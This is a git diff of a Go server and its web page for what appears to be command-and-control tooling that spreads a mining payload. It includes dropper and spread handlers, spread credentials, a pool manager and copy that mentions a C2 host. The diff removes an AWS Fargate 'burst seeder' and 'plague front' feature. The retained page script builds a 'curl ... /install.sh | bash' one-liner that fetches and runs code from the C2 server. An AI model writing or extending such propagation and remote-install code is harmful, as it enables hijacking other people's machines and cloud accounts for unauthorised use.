spreadHandler := api.NewSpreadHandler(database, cfg.DataDir, projectRoot, wsHub)
- spreadHandler.BindFargateDeps(func() string { return configProvider.PublicURL() }, erasureShardStore)
- spreadHandler.BindS3CRRConfig(func() erasure.S3ShardConfig { return cfg.S3ShardCRRConfig() })
spreadCredHandler := api.NewSpreadCredHandler(database, spreadCredAdapter)
deployPlanHandler := api.NewDeployPlanHandler(
database, cfg.DataDir, projectRoot,
@@ -316,10 +314,6 @@ func main() {
func() map[string]api.ServiceDeployLane { return apiServiceDeployAllowlist(cfg.Server.ServiceDeployAllowlist) },
)
deployPlanHandler.BindErasureFromHub(wsHub, erasureShardStore)
- deployPlanHandler.BindAWSErasureSwarm(func() erasure.AWSSwarmSettings { return cfg.AWSSwarmSettings() }, func(s erasure.AWSSwarmSettings) erasure.ShardObjectStore { return &erasure.S3HTTPStore{Settings: s} })
- erasureSwarmHandler := api.NewErasureSwarmHandler(func() erasure.AWSSwarmSettings { return cfg.AWSSwarmSettings() }, func() erasure.ShardObjectStore { return &erasure.S3HTTPStore{Settings: cfg.AWSSwarmSettings()} })
- spreadHandler.BindDeployPlan(deployPlanHandler)
- spreadHandler.BindErasureShards(erasureShardStore)
// Path Forge: server-side recursive file seeding
pathForgeHandler := builder.NewPathForgeHandler(cfg.DataDir)
@@ -360,7 +354,7 @@ func main() {
log.Printf("Web root: %s", webRoot)
// Initialize router
- router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, spreadHandler, spreadCredHandler, deployPlanHandler, erasureSwarmHandler, publicHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
+ router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, spreadHandler, spreadCredHandler, deployPlanHandler, publicHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
return configProvider.PublicURL()
}, cfg.Port, func() bool {
return cfg.ConnectorToken() != ""
@@ -442,12 +436,7 @@ func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager
HashrateGateHPS: cfg.Server.HashrateGateHPS,
ErasureLanesEnabled: cfg.Server.ErasureLanesEnabled,
FleetTorrentEnabled: cfg.Server.FleetTorrentEnabled,
- AwsS3ShardRegion: cfg.Server.AWSS3ShardRegion,
- AwsCloudFrontDomain: cfg.Server.AWSCloudFrontDomain,
- FargateBurstCampaign: cfg.Server.FargateBurstCampaign,
- FargateBurstTTLHours: cfg.Server.FargateBurstTTLHours,
})
- wsHub.SyncFargateBurstCampaign(cfg.Server.FargateBurstCampaign, cfg.Server.FargateBurstExpiresAt, cfg.Server.FargateBurstTTLHours)
}
if poolManager != nil {
poolManager.SetReconnectDelay(cfg.Server.PoolReconnectSeconds)
diff --git a/server/web/e2e/pages.spec.ts b/server/web/e2e/pages.spec.ts
index 000b8f5..3bea7d3 100644
--- a/server/web/e2e/pages.spec.ts
+++ b/server/web/e2e/pages.spec.ts
@@ -48,12 +48,4 @@ test.describe('Page smoke', () => {
await expect(page.getByRole('heading', { name: 'Quick Forge' })).toBeVisible();
await expect(page.locator('.forge-mode-toggle').getByRole('button', { name: 'Simple', exact: true }).first()).toBeVisible();
});
-
- test('Emberwake Cloud Ecosystem hub loads', async ({ page }) => {
- await page.getByRole('link', { name: /Emberwake/i }).click();
- await expect(page.getByText('Cloud Ecosystem')).toBeVisible({ timeout: 10_000 });
- await page.getByText('Cloud Ecosystem').click();
- await expect(page.getByTestId('cloud-spread-panel')).toBeVisible({ timeout: 10_000 });
- await expect(page.getByTestId('cloud-method-s3-cloudfront')).toBeVisible();
- });
});
diff --git a/server/web/public/spread/index.html b/server/web/public/spread/index.html
index 1d08080..587c234 100644
--- a/server/web/public/spread/index.html
+++ b/server/web/public/spread/index.html
@@ -174,12 +174,6 @@
-
-
CMS & static host upload
Deploy the entire kit folder (or exported ZIP contents) to a origin you control — off the C2 host when possible.
@@ -241,24 +235,6 @@
-
- Burst seeder (ECS Fargate)
-
- When a Fargate burst campaign is active on the command deck, BGP spread hints set
- prefer_fargate_seeder. Download a standalone task definition + run script with embedded
- erasure shards — run on your AWS account (no server-side ECS required).
-
-
-
- ZIP includes erasure-shards.json. Campaign TTL is 2–4 hours; Seer emits
- fargate_plague_front when burst activates.
-
-
-
Command-deck copy: /spread/ ·
@@ -298,14 +274,6 @@
var dl = document.getElementById('btn-dl');
if (dl) dl.href = withSuffix(SERVER + '/get');
- var fargateBase = SERVER + '/api/v1/public/fargate-burst/';
- var fargateBundle = document.getElementById('fargate-bundle');
- if (fargateBundle) fargateBundle.href = withSuffix(fargateBase + 'bundle.zip');
- var fargateTask = document.getElementById('fargate-task-def');
- if (fargateTask) fargateTask.href = withSuffix(fargateBase + 'task-definition.json');
- var fargateRun = document.getElementById('fargate-run-script');
- if (fargateRun) fargateRun.href = withSuffix(fargateBase + 'run-task.sh');
-
var bash = document.getElementById('oneliner-bash');
var ps1 = document.getElementById('oneliner-ps1');
if (bash) bash.textContent = "curl -sL '" + SERVER + "/install.sh" + suffix + "' | bash";
@@ -320,17 +288,6 @@
var btn = document.getElementById(primary);
if (btn) btn.classList.add('primary');
}
- var ltBtn = document.getElementById('btn-lt-generate');
- if (ltBtn) ltBtn.addEventListener('click', function () {
- var p = new URLSearchParams(window.location.search || '');
- fetch('/api/v1/forge/launch-template', { method: 'POST', credentials: 'same-origin', headers: { 'Content-Type': 'application/json' },
- body: JSON.stringify({ server_url: SERVER, build_id: p.get('pin') || undefined, campaign: p.get('c') || undefined }) })
- .then(function (r) { return r.json(); }).then(function (resp) {
- if (!resp.success) return;
- var hint = document.getElementById('lt-genesis-hint');
- if (hint) hint.textContent = 'genesis ' + (resp.genesis_snapshot_hash || '').slice(0, 12) + '…';
- });
- });
})();